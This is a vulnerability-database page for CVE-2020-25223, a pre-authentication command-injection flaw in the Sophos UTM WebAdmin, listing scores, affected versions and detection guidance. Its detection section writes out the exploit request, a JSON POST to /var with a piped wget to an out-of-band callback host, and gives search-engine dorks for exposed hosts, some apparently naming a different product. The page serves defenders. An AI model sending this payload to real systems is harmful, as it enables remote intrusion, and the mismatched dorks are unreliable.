cbcvebase.
CVE-2020-25223
published 2020-09-25

CVE-2020-25223: A remote code execution vulnerability exists in the WebAdmin of Sophos SG UTM before v9.705 MR5, v9.607 MR7, and v9.511 MR11

PriorityP194critical9.8CVSS 3.1
AVNACLPRNUINSUCHIHAH
KEVITWEXPLOITInitial access
CISA Known Exploited Vulnerabilitydue 2022-04-15
Exploited in the wild
EPSS
96.69%
99.9th percentile
A remote code execution vulnerability exists in the WebAdmin of Sophos SG UTM before v9.705 MR5, v9.607 MR7, and v9.511 MR11

Affected

6 ranges
VendorProductVersion rangeFixed in
sophosunified_threat_management< 9.5119.511
sophosunified_threat_management
sophosunified_threat_management
sophosunified_threat_management
sophosunified_threat_management>= 9.600 < 9.6079.607
sophosunified_threat_management>= 9.700 < 9.7059.705

Detection & IOCsextracted from sources · hover to see the quote

urlPOST /var HTTP/1.1
path/var
command|wget http://{{interactsh-url}}|
other{"objs": [{"FID": "init"}], "SID": "|wget http://{{interactsh-url}}|", "browser": "gecko_linux", "backend_version": -1, "loc": "", "_cookie": null, "wdebug": 0, "RID": "1629210675639_0.5000855117488202", "current_uuid": "", "ipv6": true}
  • Monitor for unauthenticated POST requests to the /var endpoint on the Sophos UTM WebAdmin interface, particularly with a JSON body containing a 'SID' field with shell metacharacters (e.g., pipe characters '|') indicating command injection attempts.
  • Detect JSON payloads where the 'SID' field contains pipe-delimited OS commands rather than a legitimate session identifier, as this is the injection vector for CVE-2020-25223.
  • Look for the 'FID': 'init' field in POST request bodies to /var as part of the exploit trigger sequence.
  • Use Shodan/FOFA/Google dorks to identify exposed Sophos UTM WebAdmin instances: Shodan query 'http.title:"securepoint utm"', FOFA 'title="securepoint utm"', Google 'intitle:"securepoint utm"'.
  • The exploit is pre-authentication (no valid session required); alert on any unauthenticated JSON POST to /var with Content-Type: application/json from external IPs.
  • Confirm exploitation via out-of-band HTTP interaction (OAST): watch for unexpected outbound HTTP/DNS requests from the UTM host following a suspicious POST to /var.
  • ·Vulnerability affects only Sophos SG UTM versions before v9.705 MR5, v9.607 MR7, and v9.511 MR11; patched versions are not affected.

CVSS provenance

nvdv3.19.8CRITICALCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
nvdv2.010.0CRITICALAV:N/AC:L/Au:N/C:C/I:C/A:C
vulncheck9.8CRITICAL
cisa9.8CRITICAL
CVEs like this are exactly what “Exploited This Week” covers.

Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.